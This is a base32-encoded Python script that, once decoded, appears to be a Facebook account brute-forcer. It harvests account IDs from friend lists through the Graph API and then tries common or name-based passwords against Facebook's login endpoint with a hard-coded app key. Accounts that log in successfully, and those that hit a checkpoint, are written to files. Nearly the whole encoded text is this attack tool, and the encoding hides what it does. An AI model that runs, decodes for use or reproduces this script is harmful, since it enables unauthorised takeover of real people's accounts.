LEJ6CEK3QMFZXGMRLEJOG4IRJBUFASCIJBEEQSCLDMVVS4Y3MN5ZWKKBJBUFASCIJBEEQSCLDMVVXA33JNZ2C4YLQOBSW4ZBIOVZWK4RLOBQXG4ZSFEGQUCIJBEEQSCLFNRZWKOQNBIEQSCIJBEEQS4DBONZTGIB5EBRFWJ3GNFZHG5C7NZQW2ZJHLUQCWIBHKNUGC2BHBUFASCIJBEEQSCLEMF2GCIB5EB2XE3DMNFRC45LSNRXXAZLOFARGQ5DUOBZTULZPMIWWC4DJFZTGCY3FMJXW62ZOMNXW2L3NMV2GQ33EF5QXK5DIFZWG6Z3JNY7WCY3DMVZXGX3UN5VWK3R5GIZTONZVHE4TAOJVHEYTMNJVEUZDKMRVG5BTAZRRGQYGCYLCMVSGMYRWGVQWGMRXME3TGOLFMQYWCMRSGYZWEMJGMZXXE3LBOQ6WU43PNYTHGZDLL53GK4TTNFXW4PJSEZSW2YLJNQ6SEKZIOVZWK4RJFMRCM3DPMNQWYZJ5MVXF6VKTEZYGC43TO5XXEZB5EIVSQ4DBONZTGKJLEITHGZDLHVUW64ZGM5SW4ZLSMF2GKX3TMVZXG2LPNZPWG33PNNUWK4Z5GETHG2LHHUZWMNJVGVTDSOLGMI3DCZTDMQ3WCYJQMM2DIZRVHBTDKMRSMVTDMIRJBUFASCIJBEEQSCLREA6SA2TTN5XC43DPMFSCQZDBORQSSDIKBEEQSCIJBEEWSZRAE5QWGY3FONZV65DPNNSW4JZANFXCA4J2BUFASCIJBEEQSCIJOBZGS3TUEATVY6BRMJNTCOZZGJWUY2LWMVOHQMLCLMYTWOJXNUWVY6BRMJNTCOZZGJW6FFVDLR4DCYS3GE5TSN3NFUTSAKZAOVZWK4RAFMQCOLK4PAYWEWZRHM4TE3PCS2RVY6BRMJNTCOZZG5WS2JZAFMQHAYLTOMZQ2CQJBEEQSCIJBEEW623TFZQXA4DFNZSCQ5LTMVZCW4DBONZTGKINBIEQSCIJBEEQSZLMONSTUDIKBEEQSCIJBEEQS2LGEATXO53XFZTGCY3FMJXW62ZOMNXW2JZANFXCA4K3EJSXE4TPOJPW243HEJOTUDIKBEEQSCIJBEEQSCLQOJUW45BAE5OHQMLCLMYTWOJRNVCXE4TPOJOHQMLCLMYTWOJXNUWVY6BRMJNTCOZZGFW6FFVDLR4DCYS3GE5TSN3NFUTSAKZAOVZWK4RAFMQCOLK4PAYWEWZRHM4TC3PCS2RVY6BRMJNTCOZZG5WS2JZAFMQHAYLTOMZQ2CQJBEEQSCIJBEEQSY3FNMQD2IDPOBSW4KBCN52XIL3DNBSWG23QN5UW45BOOR4HIIRMEARGCIRJBUFASCIJBEEQSCIJBFRWK2ZOO5ZGS5DFFB2XGZLSFMRHYIRLOBQXG4ZTFMRFY3RCFEGQUCIJBEEQSCIJBEEWGZLLFZRWY33TMUUCSDIKBEEQSCIJBEEQSCLDMVVXA33JNZ2C4YLQOBSW4ZBIOVZWK4RLOBQXG4ZTFEGQUCIJBEEQSCIJBFSWY43FHIGQUCIJBEEQSCIJBEEXAYLTOM2CAPJAMJNSOZTJOJZXIX3OMFWWKJ25EAVSAJ2LNBQW4JYNBIEQSCIJBEEQSCIJMRQXIYJAHUQHK4TMNRUWELTVOJWG64DFNYUCE2DUORYHGORPF5RC2YLQNEXGMYLDMVRG633LFZRW63JPNVSXI2DPMQXWC5LUNAXGY33HNFXD6YLDMNSXG427ORXWWZLOHUZDGNZXGU4TSMBZGU4TCNRVGUSTENJSGU3UGMDGGE2DAYLBMJSWIZTCGY2WCYZSG5QTOMZZMVSDCYJSGI3DGYRREZTG64TNMF2D22TTN5XCM43ENNPXMZLSONUW63R5GITGK3LBNFWD2IRLFB2XGZLSFEVSEJTMN5RWC3DFHVSW4X2VKMTHAYLTON3W64TEHURCWKDQMFZXGNBJFMRCM43ENM6WS33TEZTWK3TFOJQXIZK7ONSXG43JN5XF6Y3PN5VWSZLTHUYSM43JM46TGZRVGU2WMOJZMZRDMMLGMNSDOYLBGBRTINDGGU4GMNJSGJSWMNRCFEGQUCIJBEEQSCIJBEEXCIB5EBVHG33OFZWG6YLEFBSGC5DBFEGQUCIJBEEQSCIJBEEWSZRAE5QWGY3FONZV65DPNNSW4JZANFXCA4J2BUFASCIJBEEQSCIJBEEXA4TJNZ2CAJ24PAYWEWZRHM4TE3KMNF3GKXDYGFRFWMJ3HE3W2LK4PAYWEWZRHM4TE3PCS2RVY6BRMJNTCOZZG5WS2JZAFMQHK43FOIQCWIBHFVOHQMLCLMYTWOJSNXRJNI24PAYWEWZRHM4TO3JNE4QCWIDQMFZXGNANBIEQSCIJBEEQSCIJBFXWW4ZOMFYHAZLOMQUHK43FOIVXAYLTOM2CSDIKBEEQSCIJBEEQSCLFNRZWKOQNBIEQSCIJBEEQSCIJBFUWMIBHO53XOLTGMFRWKYTPN5VS4Y3PNUTSA2LOEBYVWITFOJZG64S7NVZWOIS5HIGQUCIJBEEQSCIJBEEQSCLQOJUW45BAE5OHQMLCLMYTWOJRNVCXE4TPOJOHQMLCLMYTWOJXNUWVY6BRMJNTCOZZGFW6FFVDLR4DCYS3GE5TSN3NFUTSAKZAOVZWK4RAFMQCOLK4PAYWEWZRHM4TC3PCS2RVY6BRMJNTCOZZG5WS2JZAFMQHAYLTOM2A2CQJBEEQSCIJBEEQSCIJMNSWWIB5EBXXAZLOFARG65LUF5RWQZLDNNYG62LOOQXHI6DUEIWCAITBEIUQ2CQJBEEQSCIJBEEQSCIJMNSWWLTXOJUXIZJIOVZWK4RLEJ6CEK3QMFZXGNBLEJOG4IRJBUFASCIJBEEQSCIJBEEQSY3FNMXGG3DPONSSQKINBIEQSCIJBEEQSCIJBEEWGZLLOBXWS3TUFZQXA4DFNZSCQ5LTMVZCW4DBONZTIKINBIEQSCIJBEEQSCIJBFSWY43FHIGQUCIJBEEQSCIJBEEQSCLQMFZXGNJAHUQGEWZHMZUXE43UL5XGC3LFE5OSAKZAE5JGC2TQN5XXIJYNBIEQSCIJBEEQSCIJBEEWIYLUMEQD2IDVOJWGY2LCFZ2XE3DPOBSW4KBCNB2HI4DTHIXS6YRNMFYGSLTGMFRWKYTPN5VS4Y3PNUXW2ZLUNBXWIL3BOV2GQLTMN5TWS3R7MFRWGZLTONPXI33LMVXD2MRTG43TKOJZGA4TKOJRGY2TKJJSGUZDKN2DGBTDCNBQMFQWEZLEMZRDMNLBMMZDOYJXGM4WKZBRMEZDENRTMIYSMZTPOJWWC5B5NJZW63RGONSGWX3WMVZHG2LPNY6TEJTFNVQWS3B5EIVSQ5LTMVZCSKZCEZWG6Y3BNRST2ZLOL5KVGJTQMFZXG53POJSD2IRLFBYGC43TGUUSWIRGONSGWPLJN5ZSMZ3FNZSXEYLUMVPXGZLTONUW63S7MNXW623JMVZT2MJGONUWOPJTMY2TKNLGHE4WMYRWGFTGGZBXMFQTAYZUGRTDKODGGUZDEZLGGYRCSDIKBEEQSCIJBEEQSCIJBFYSAPJANJZW63RONRXWCZBIMRQXIYJJBUFASCIJBEEQSCIJBEEQS2LGEATWCY3DMVZXGX3UN5VWK3RHEBUW4IDRHIGQUCIJBEEQSCIJBEEQSCIJOBZGS3TUEATVY6BRMJNTCOZZGJWUY2LWMVOHQMLCLMYTWOJXNUWVY6BRMJNTCOZZGJW6FFVDLR4DCYS3GE5TSN3NFUTSAKZAOVZWK4RAFMQCOLK4PAYWEWZRHM4TE3PCS2RVY6BRMJNTCOZZG5WS2JZAFMQHAYLTOM2Q2CQJBEEQSCIJBEEQSCIJBFXWW4ZOMFYHAZLOMQUHK43FOIVXAYLTOM2SSDIKBEEQSCIJBEEQSCIJBFSWY43FHIGQUCIJBEEQSCIJBEEQSCIJNFTCAJ3XO53S4ZTBMNSWE33PNMXGG33NE4QGS3RAOFNSEZLSOJXXEX3NONTSEXJ2BUFASCIJBEEQSCIJBEEQSCIJOBZGS3TUEATVY6BRMJNTCOZZGFWUK4TSN5ZFY6BRMJNTCOZZG5WS2XDYGFRFWMJ3HEYW3YUWUNOHQMLCLMYTWOJXNUWSOIBLEB2XGZLSEAVSAJZNLR4DCYS3GE5TSMLN4KLKGXDYGFRFWMJ3HE3W2LJHEAVSA4DBONZTKDIKBEEQSCIJBEEQSCIJBEEQSY3FNMQD2IDPOBSW4KBCN52XIL3DNBSWG23QN5UW45BOOR4HIIRMEARGCIRJBUFASCIJBEEQSCIJBEEQSCIJMNSWWLTXOJUXIZJIOVZWK4RLEJ6CEK3QMFZXGNJLEJOG4IRJBUFASCIJBEEQSCIJBEEQSCIJMNSWWLTDNRXXGZJIFEGQUCIJBEEQSCIJBEEQSCIJBFRWK23QN5UW45BOMFYHAZLOMQUHK43FOIVXAYLTOM2SSDIKBEEQSCIJBEEQSCIJBEEWK3DTMU5A2CQJBEEQSCIJBEEQSCIJBEEXAYLTOM3CAPJAMJNSOZTJOJZXIX3OMFWWKJ25EAVSAJ2NOVTWQYLME4GQUCIJBEEQSCIJBEEQSCIJBFSGC5DBEA6SA5LSNRWGSYROOVZGY33QMVXCQITIOR2HA4Z2F4XWELLBOBUS4ZTBMNSWE33PNMXGG33NF5WWK5DIN5SC6YLVORUC43DPM5UW4P3BMNRWK43TL52G623FNY6TEMZXG42TSOJQHE2TSMJWGU2SKMRVGI2TOQZQMYYTIMDBMFRGKZDGMI3DKYLDGI3WCNZTHFSWIMLBGIZDMM3CGETGM33SNVQXIPLKONXW4JTTMRVV65TFOJZWS33OHUZCMZLNMFUWYPJCFMUHK43FOIUSWIRGNRXWGYLMMU6WK3S7KVJSM4DBONZXO33SMQ6SEKZIOBQXG4ZWFEVSEJTTMRVT22LPOMTGOZLOMVZGC5DFL5ZWK43TNFXW4X3DN5XWW2LFOM6TCJTTNFTT2M3GGU2TKZRZHFTGENRRMZRWIN3BMEYGGNBUMY2TQZRVGIZGKZRWEIUQ2CQJBEEQSCIJBEEQSCIJBEEXCIB5EBVHG33OFZWG6YLEFBSGC5DBFEGQUCIJBEEQSCIJBEEQSCIJBFUWMIBHMFRWGZLTONPXI33LMVXCOIDJNYQHCOQNBIEQSCIJBEEQSCIJBEEQSCIJOBZGS3TUEATVY6BRMJNTCOZZGJWUY2LWMVOHQMLCLMYTWOJXNUWVY6BRMJNTCOZZGJW6FFVDLR4DCYS3GE5TSN3NFUTSAKZAOVZWK4RAFMQCOLK4PAYWEWZRHM4TE3PCS2RVY6BRMJNTCOZZG5WS2JZAFMQHAYLTOM3A2CQJBEEQSCIJBEEQSCIJBEEQS33LOMXGC4DQMVXGIKDVONSXEK3QMFZXGNRJBUFASCIJBEEQSCIJBEEQSCIJMVWHGZJ2BUFASCIJBEEQSCIJBEEQSCIJBFUWMIBHO53XOLTGMFRWKYTPN5VS4Y3PNUTSA2LOEBYVWITFOJZG64S7NVZWOIS5HIGQUCIJBEEQSCIJBEEQSCIJBEEQS4DSNFXHIIBHLR4DCYS3GE5TSMLNIVZHE33SLR4DCYS3GE5TSN3NFVOHQMLCLMYTWOJRNXRJNI24PAYWEWZRHM4TO3JNE4QCWIDVONSXEIBLEATS2XDYGFRFWMJ3HEYW3YUWUNOHQMLCLMYTWOJXNUWSOIBLEBYGC43TGYGQUCIJBEEQSCIJBEEQSCIJBEEQSY3FNMQD2IDPOBSW4KBCN52XIL3DNBSWG23QN5UW45BOOR4HIIRMEARGCIRJBUFASCIJBEEQSCIJBEEQSCIJBEEWGZLLFZ3XE2LUMUUHK43FOIVSE7BCFNYGC43TGYVSEXDOEIUQ2CQJBEEQSCIJBEEQSCIJBEEQSCLDMVVS4Y3MN5ZWKKBJBUFASCIJBEEQSCIJBEEQSCIJBEEWGZLLOBXWS3TUFZQXA4DFNZSCQ5LTMVZCW4DBONZTMKINBIEQSCIJBEEQSCIJBEEQSCIJMVWHGZJ2BUFASCIJBEEQSCIJBEEQSCIJBEEWCIB5EBZGK4LVMVZXI4ZOM5SXIKBHNB2HI4DTHIXS6Z3SMFYGQLTGMFRWKYTPN5VS4Y3PNUXSOK3VONSXEKZHF47WCY3DMVZXGX3UN5VWK3R5E4VXI33LMV2CSDIKBEEQSCIJBEEQSCIJBEEQSCIJMIQD2IDKONXW4LTMN5QWI4ZIMEXHIZLYOQUQ2CQJBEEQSCIJBEEQSCIJBEEQSCLQMFZXGNZAHUQGEWZHMZUXE43UL5XGC3LFE5OSWJ2KOV2HIJYNBIEQSCIJBEEQSCIJBEEQSCIJBFSGC5DBEA6SA5LSNRWGSYROOVZGY33QMVXCQITIOR2HA4Z2F4XWELLBOBUS4ZTBMNSWE33PNMXGG33NF5WWK5DIN5SC6YLVORUC43DPM5UW4P3BMNRWK43TL52G623FNY6TEMZXG42TSOJQHE2TSMJWGU2SKMRVGI2TOQZQMYYTIMDBMFRGKZDGMI3DKYLDGI3WCNZTHFSWIMLBGIZDMM3CGETGM33SNVQXIPLKONXW4JTTMRVV65TFOJZWS33OHUZCMZLNMFUWYPJCFMUHK43FOIUSWIRGNRXWGYLMMU6WK3S7KVJSM4DBONZXO33SMQ6SEKZIOBQXG4ZXFEVSEJTTMRVT22LPOMTGOZLOMVZGC5DFL5ZWK43TNFXW4X3DN5XWW2LFOM6TCJTTNFTT2M3GGU2TKZRZHFTGENRRMZRWIN3BMEYGGNBUMY2TQZRVGIZGKZRWEIUQ2CQJBEEQSCIJBEEQSCIJBEEQSCLREA6SA2TTN5XC43DPMFSCQZDBORQSSDIKBEEQSCIJBEEQSCIJBEEQSCIJNFTCAJ3BMNRWK43TL52G623FNYTSA2LOEBYTUDIKBEEQSCIJBEEQSCIJBEEQSCIJBFYHE2LOOQQCOXDYGFRFWMJ3HEZG2TDJOZSVY6BRMJNTCOZZG5WS2XDYGFRFWMJ3HEZG3YUWUNOHQMLCLMYTWOJXNUWSOIBLEB2XGZLSEAVSAJZNLR4DCYS3GE5TSMTN4KLKGXDYGFRFWMJ3HE3W2LJHEAVSA4DBONZTODIKBEEQSCIJBEEQSCIJBEEQSCIJBFXWW4ZOMFYHAZLOMQUHK43FOIVXAYLTOM3SSDIKBEEQSCIJBEEQSCIJBEEQSCIJMVWHGZJ2BUFASCIJBEEQSCIJBEEQSCIJBEEQS2LGEATXO53XFZTGCY3FMJXW62ZOMNXW2JZANFXCA4K3EJSXE4TPOJPW243HEJOTUDIKBEEQSCIJBEEQSCIJBEEQSCIJBEEXA4TJNZ2CAJ24PAYWEWZRHM4TC3KFOJZG64S4PAYWEWZRHM4TO3JNLR4DCYS3GE5TSMLN4KLKGXDYGFRFWMJ3HE3W2LJHEAVSA5LTMVZCAKZAE4WVY6BRMJNTCOZZGFW6FFVDLR4DCYS3GE5TSN3NFUTSAKZAOBQXG4ZXBUFASCIJBEEQSCIJBEEQSCIJBEEQSCLDMVVSAPJAN5YGK3RIEJXXK5BPMNUGKY3LOBXWS3TUFZ2HQ5BCFQQCEYJCFEGQUCIJBEEQSCIJBEEQSCIJBEEQSCIJMNSWWLTXOJUXIZJIOVZWK4RLEJ6CEK3QMFZXGNZLEJOG4IRJBUFASCIJBEEQSCIJBEEQSCIJBEEQSCLDMVVS4Y3MN5ZWKKBJBUFASCIJBEEQSCIJBEEQSCIJBEEQSCLDMVVXA33JNZ2C4YLQOBSW4ZBIOVZWK4RLOBQXG4ZXFEGQUCIJBEEQSCIJBEEQSCIJBEEQSCIJBUFASCIJBEEQSCIJBEEQSCIJBEEQ2CQJBFSXQY3FOB2DUDIKBEEQS4DBONZQ2CQJBEGQUCLQEA6SAVDIOJSWCZCQN5XWYKBTGAUQ2CQJOAXG2YLQFBWWC2LOFQQGSZBJBUFAS4DSNFXHIIBCLQYDGM23GE5TSNLN4KAKFYUXRDRIBIXCS2WMFIHCS2WMFIHCS2WMFIHCS2WMFIHCS2WMFIHCS2WMFIHCS2WOFAFC4KLYRYUAUJODAMZTLMYTWOJRNVBGYYLDNNGWCZTJMFODAMZTLMYTWOJVNXRIBIXCS6EOFAFC4KLKZQVA4KLKZQVA4KLKZQVA4KLKZQVA4KLKZQVA4KLKZQVA4KLKZYUAULRJPCHCQCRCEDIKBFYHE2LOOQQCEIBALQYDGM23GE5TSMLNYKVS2LJN4KAKFYUXRDRIBIRNFUWUIZLWMVWG64DFMQQEE6JAKZUXMZLLFVBWQYLOMRSWYLJN4KAKFYUXRDRIBIRNFUW4FOZCEARUIZLWHJLGS5TFNNPUG2DBNZSGK3ANBIEXA4TJNZ2CAJ24GAZTGWZRHM4TK3KQOJXWGZLTOMQEQYLTEBBGKZLOEBBW63LQNRSXIZLEEBIHEZLTOPRJ5IJAKR4XAZJAGAQEK3TUMVZOFBVJEBHGK6DUEBKHS4DFEAYCAKDMN5TW65LUFHRINKK4GAZTGWZRHM4TO3JOFYXC4JYNBIQCAIBAEAQCAIDQOJUW45BAE5ODAMZTLMYTWOJVNVHGK6DUEBKHS4DFEAUHA6LUNBXW4MRAMJWGCY3LFZYHSKJAJZSXQ5BANRXWO2LOEBTGCY3FMJXW62ZAKN2GC4TUEBBWY33ONFXGOXBQGMZVWMJ3HE3W2LROFYXCODIKBFYHE2LOOQRFYMBTGNNTCOZZGJWVI33UMFWCATDJOZSS6XDYGFRFWMJ3HEYW2RLSOJXXEIC4GAZTGWZRHM4TG3J2EBODAMZTLMYTWOJRNURCW43UOIUGYZLOFBXWW4ZJFEVSEXBQGMZVWMJ3HEZW2L24GAZTGWZRHM4TM3JCFNZXI4RINRSW4KDDMVVXA33JNZ2CSKINBIEXA4TJNZ2CAIRCEIGQUIBAEAQCAIBAEAQCAIBAEAGQVYUZUXRIBJXCQCTC5YUZUXRIBJXCQCTOFAFG4KAKNYUAU3RIBJXCQCTC4LXCTGS6FAFGF3RJTJLJNRXXMZLZN52Q2CXCTGS6FAFG4KAKNYUAU3RIBJROF3RJTJPCQCTOFAFG4KAKNYUAUYXC5YUZUXRIBJXCQCTOFAFGFYXOFGNFNFWG65TFPFXXKDIK4KM2LYUAU3RIBJXCQCTOFAFG4KAKNYUAU3RJTJPCQCTC5YUZUXRIBJXCQCTOFAFG4KAKNYUAUYXOFGNFNFWG65TFPFXXKDIKFYXOFGNF4KAKNYUAU3RIBJXCQCTOFAFG4KAKMLXCTGS6FAFG4KAKNYUAU3RIBJXCQCTOFAFG4KM2K2LMN53GK6LPOUXC4DIK4KAKNYUZUXRIBJXCQCTOFAFG4KAKNYUAU3RIBJXCQCTOFAFG4KAKNYUAU3RIBJXCQCTOFGNFNFWG65TFPFXXKLROFYGQVYUAUYXC5YUZUXRIBJXCQCTOFAFG4KAKNYUAU3RIBJXCQCTOFAFG4KAKNYUAUYXC5YUZUVUWY33WMV4W65JOFYXC4DIK4KAKNYUAUYXC5YUZUXRIBJXCQCTOFAFG4KAKNYUAU3RIBJXCQCTOFAFGF3RJTJLJNRXXMZLZN526FAFG4KAKMLQNBLRIBJXCQCTOFAFGFYXOFGNF4KAKNYUAU3RIBJXCQCTOFAFG4KAKMLXCTGSWS3DPOZSXS33V4KAKNYUAU3RIBJROFYGQVYUAU3RIBJXCQCTOFAFGFYXOFGNF4KAKNYUAU3RIBJXCQCTC4LXCTGSWS3DPOZSXS33V4KAKNYUAU3RIBJXCQCTC4DIK4KAKNYUAU3RIBJXCQCTOFAFG4KAKNYUZUXRIBJXCQCTC5YUZUVUWY33WMV4W65PCQCTOFAFG4KAKNYUAU3RIBJXCQCTA2CXCQCTOFAFG4KAKNYUAU3RIBJXCQCTOFAFG4KM2KLRO4KM2K2LMN53GK6LPOXRIBJXCQCTOFAFG4KAKNYUAU3RIBJXCQCTA2CXCQCTOFAFG4KAKNYUAU3RIBJXCQCTOFAFGFYXOFGNFNFWG65TFPFXXLYUAU3RIBJXCQCTOFAFG4KAKNYUAU3RIBJROBUFA2CSEN5XCO5BAK5XXE4TZEBMW65LSEBBWQZLDNNYG62LOOQQESRBAK5UWY3BAIJSSAT3QMVXCAQLGORSXEIBXEBCGC6LTEAGQUDIK4KAKEXBQGMZVWMJ3HE3W3YUXRDRIBIXCS2WMFIHCS2WMFIHCS2WMFIHCS2WMFIHCS2WMFIHCS2WMFIHCS2WOFAFC4KLYRYUAULRJNLGCUDRJNLGCUDRJNLGCUDRJNLGCUDRJNLGCUDRJNLGCUDRJNLHCQCROFF4I4KAKELQNBI5CAXBQGMZVWMJ3HE2G2IBOFYXC4LSWNF3GK22DNBQW4ZDFNQQEE3DBMNVVM2LWMVVS4LROFYXC4LRALQYDGM23GE5TSN3NEA5A2CXCQCRFYMBTGNNTCOZZG5W6FF4I4KAKFYUWVTBKBYUWVTBKBYUWVTBKBYUWVTBKBYUWVTBKBYUWVTBKBYUWVTRIBIXCS6EOFAFC4KLKZQVA4KLKZQVA4KLKZQVA4KLKZQVA4KLKZQVA4KLKZQVA4KLKZYUAULRJPCHCQCRC4JZABUFCAIBAEAQCAIBAEAQCAIBAEAQCAV3IMF2HGQLQOAQE45LNBUFCAIBAEAQCAIBAEAQCAIBAEBODAMZTLMYTWOJUNUQCWMJVGA2DGMRQGE2TAOJCEIRA2CQJBUFAS4TBO5PWS3TQOV2CQIS4NZODAMZTLMYTWOJXNVNVYMBTGNNTCOZZGRWUEYLDNNODAMZTLMYTWOJXNVOSEKINBIEWG4TBMNVSQKINBIQCAIBAEAQCAIBAEAGQUZDFMYQGS43JFAUTUDIKBFTWY33CMFWCA5DPNNSXIDIKBFXXGLTTPFZXIZLNFATWG3DFMFZCOKINBIEXI4TZHIGQUCIJORXWWZLUHVXXAZLOFATWY33HNFXC45DYOQTSYJ3SE4US44TFMFSCQKINBIEWK6DDMVYHIICJJ5CXE4TPOI5A2CQJBFYHE2LOOQRFY6BRMJNTCOZZGRWVI33LMVXCA2LOOZQWY2LEEIGQUCIJN5ZS443ZON2GK3JIE5ZG2IBNOJTCA3DPM5UW4LTUPB2COKINBIEQS5DJNVSS443MMVSXAKBRFEGQUCIJNRXWO2LOFAUQ2CQJN5ZS443ZON2GK3JIE5RWYZLBOITSSDIKBFYHE2LOOQQGY33HN4YTODIKBFYHE2LOOQQCEXBQGMZVWMJ3HE3W2LPCQCROFF4I4KAKELK4GAZTGWZRHM4TO3J6EBODAMZTLMYTWOJXNUYS4XDYGFRFWMJ3HEZG2Q3MN5XGKICGOJUWK3TEEBGGS43UEBIHKYTMNFRSASKEEBBGYYLDNNGWCZTJMEXCEDIKEAQCAIBAEAQCA5DJNVSS443MMVSXAKBQFYYDKKINBIEXA4TJNZ2CAIS4GAZTGWZRHM4TO3JN4KAKFYUXRDRIBIRNLQYDGM23GE5TSN3NHYQFYMBTGNNTCOZZG5WTALS4GAZTGWZRHM4TC3KCMFRWWIQNBIEXA2LMNFUF62LTNEUCSDIKBUFGIZLGEBYGS3DJNBPWS43JFAUTUDIKBFYGKYLLEA6SA4TBO5PWS3TQOV2CQIS4NZODAMZTLMYTWOJVNVBWQ33PONSSAYLOEBHXA5DJN5XD4PR6EBODAMZTLMYTWOJXNURCSDIKBFUWMIDQMVQWWIB5HURCEOQNBIEQS4DSNFXHIIBCLR4DCYS3GE5TSNDNIZUWY3BANFXCAY3POJZGKY3UNR4SEDIKBEEXA2LMNFUF62LTNEUCSDIKBFSWY2LGEBYGKYLLEA6T2IRREI5A2CQJBFXXGLTTPFZXIZLNFATWG3DFMFZCOKINBIEQS4DSNFXHIIDMN5TW6DIKBEEWSZDUEA6SA4TBO5PWS3TQOV2CQIS4GAZTGWZRHM4TO3K34KAKFYUXRDRIBIS5EBODAMZTLMYTWOJUNVCW45DFOIQESRC4GAZTGWZRHM4TO3J2EBODAMZTLMYTWOJXNURCSDIKBEEXA4TJNZ2CAIS4GAZTGWZRHM4TO3PCQCROFF4I4KAKFYUWVTBKBYUWVTBKBYUWVTBKBYUWVTBKBYUWVTBKBYUWVTBKBYUWVTRIBIXCS6EOFAFCLQYDGM23GE5TSNDNIJWGCY3LKZUXMZLLLQYDGM23GE5TSN3N4KAKFYUXRDRIBIXCS2WMFIHCS2WMFIHCS2WMFIHCS2WMFIHCS2WMFIHCS2WMFIHCS2WOFAFC4KLYRYUAUIRA2CQJBF2HE6J2BUFASCIJNJXWWIB5EBZGK4LVMVZXI4ZOM5SXIKBCNB2HI4DTHIXS6Z3SMFYGQLTGMFRWKYTPN5VS4Y3PNUXSEK3JMR2CWIR7MFRWGZLTONPXI33LMVXD2IRLORXWWZLUFEGQUCIJBFXXAIB5EBVHG33OFZWG6YLEOMUGU33LFZ2GK6DUFEGQUCIJBFYHE2LOOQRFYMBTGNNTCOZZG5WU4YLNMVODAMZTLMYTWOJXNU5FYMBTGNNTCOZZGRWSAIRLN5YFWITOMFWWKIS5BUFASCLFPBRWK4DUEBFWK6KFOJZG64R2BUFASCIJOBZGS3TUEJOHQMLCLMYTWOJXNVEUIICON52CARTPOVXGIIJCBUFASCIJOJQXOX3JNZYHK5BIEJOG4XBQGMZVWMJ3HE3W2W24GAZTGWZRHM4TI3KCMFRWWXBQGMZVWMJ3HE3W2XJCFEGQUCIJBFUXG2JIFEGQUCIJOBZGS3TUEJODAMZTLMYTWOJUNVDWK5DUNFXGOICJIRZVYMBTGNNTCOZZG5WS4LROEIGQUCIJOIQD2IDSMVYXKZLTORZS4Z3FOQUCE2DUORYHGORPF5TXEYLQNAXGMYLDMVRG633LFZRW63JPEIVWSZDUFMRC6ZTSNFSW4ZDTH5QWGY3FONZV65DPNNSW4PJCFN2G623FOQUQ2CQJBF5CAPJANJZW63RONRXWCZDTFBZC45DFPB2CSDIKBEEWM33SEBUSA2LOEB5FWJ3EMF2GCJ25HIGQUCIJBFUWILTBOBYGK3TEFBUVWJ3JMQTV2KINBIEWK3DJMYQHAZLBNMQD2PJCGARDUDIKBEEWG4TBMNVSQKINBIEWK3DTMU5A2CQJBFYHE2LOOQQCEXDYGFRFWMJ3HE3W2RTJNRWCA2LOEBRW64TSMVRXI3DZEIGQUCIJOBUWY2LIL5UXG2JIFEGQUCINBIEXA4TJNZ2CAIS4GAZTGWZRHM4TO3KUN52GC3BAJFCHGXBQGMZVWMJ3HE3W2ORALQYDGM23GE5TSNDNEIVXG5DSFBWGK3RINFSCSKINBIEWUYLMMFXCQJ24GAZTGWZRHM4TI3KQNRSWC43FEBLWC2LULQYDGM23GE5TSNDNFYXC4JZJBUFAS5DJORUWWIB5EBNSOLRAEAQCOLBHFYXCAIBHFQTS4LROEATV2DIKBFTG64RAN4QGS3RAORUXI2LLHIGQUCIJOBZGS3TUFARFY4S4GAZTGWZRHM4TG3KDNRXW42LOM5ODAMZTLMYTWOJTNURCW3ZJFQ5XG6LTFZZXIZDPOV2C4ZTMOVZWQKBJHN2GS3LFFZZWYZLFOAUDCKINBIEXA4TJNZ2CAIS4NZODAMZTLMYTWOJXNXBKWLJNFUWS2XDYGFRFWMJ3HEYW3Y4ASBKG6ICTORXXAICQOJXWGZLTOMQFA4TFONZSAQ2UKJGCWWXDQCIVYMBTGNNTCOZZG5WS2LJNFXBLWIQNBIEXA4TJNZ2CAIS4GAZTGWZRHM4TO3OCVMWS2LJNFUWS2LJNFUWS2LJNFUWS2LJNFVODAMZTLMYTWOJSNXRJNI24GAZTGWZRHM4TO3JNFUWS2LJNFUWS2LJNFUWS2LJNFUWS2LOCXMRA2CQJNJQWYYLOFATSAXBQGMZVWMJ3HEZW2UDMPIQFOYLJOQQEG3DPNZSWIICBMNRW65LOORZSAV3JNRWCAQLQOBSWC4RAJBSXEZJHFEGQUIBAEAQCAIBAEBVGC3DBNYUCOIC4GAZTGWZRHM4TK3JAEAQCAIBAEAQCAICTORQXE5BAINWG63TJNZTSAQTMMFRWWICWNF3GK2ZHFEGQUCLQOJUW45BAEJODAMZTLMYTWOJXNXBKWLJNFUWS2LJNFUWS2LJNFUWS2LJNFUWS2XBQGMZVWMJ3HEZG3YUWUNODAMZTLMYTWOJXNUWS2LJNFUWS2LJNFUWS2LJNFUWS2LJNFXBLWIQNBIEQ2CQJBEEQ2CQJMRSWMIDNMFUW4KDBOJTSSOQNBIEQSZ3MN5RGC3BAMNSWW4DPNFXHILDPNNZQ2CQJBF2XGZLSEA6SAYLSM4GQUCIJORZHSOQNBIEQSCLPOMXG223ENFZCQJ3POV2COKINBIEQSZLYMNSXA5BAJ5JUK4TSN5ZDUDIKBEEQS4DBONZSAI2EMV3DUVTJOZSWWX2DNBQW4ZDFNQGQUCIJORZHSOQNBIEQSCLBEA6SA4TFOF2WK43UOMXGOZLUFATWQ5DUOBZTULZPM5ZGC4DIFZTGCY3FMJXW62ZOMNXW2LZHFN2XGZLSFMTS6P3BMNRWK43TL52G623FNY6SOK3UN5VWK5BJBUFASCIJMIQD2IDKONXW4LTMN5QWI4ZIMEXHIZLYOQUQ2CQJBEEXAYLTOMYSAPJAMJNSOZTJOJZXIX3OMFWWKJ25FNRFWJ3NNFSGI3DFL5XGC3LFE5OSWYS3E5WGC43UL5XGC3LFE5OQ2CQJBEEWIYLUMEQD2IDVOJWGY2LCFZ2XE3DPOBSW4KBCNB2HI4DTHIXS6YRNMFYGSLTGMFRWKYTPN5VS4Y3PNUXW2ZLUNBXWIL3BOV2GQLTMN5TWS3R7MFRWGZLTONPXI33LMVXD2MRTG43TKOJZGA4TKOJRGY2TKJJSGUZDKN2DGBTDCNBQMFQWEZLEMZRDMNLBMMZDOYJXGM4WKZBRMEZDENRTMIYSMZTPOJWWC5B5NJZW63RGONSGWX3WMVZHG2LPNY6TEJTFNVQWS3B5EIVSQ5LTMVZCSKZCEZWG6Y3BNRST2ZLOL5KVGJTQMFZXG53POJSD2IRLFBYGC43TGEUSWIRGONSGWPLJN5ZSMZ3FNZSXEYLUMVPXGZLTONUW63S7MNXW623JMVZT2MJGONUWOPJTMY2TKNLGHE4WMYRWGFTGGZBXMFQTAYZUGRTDKODGGUZDEZLGGYRCSDIKBEEQS4JAHUQGU43PNYXGY33BMQUGIYLUMEUQ2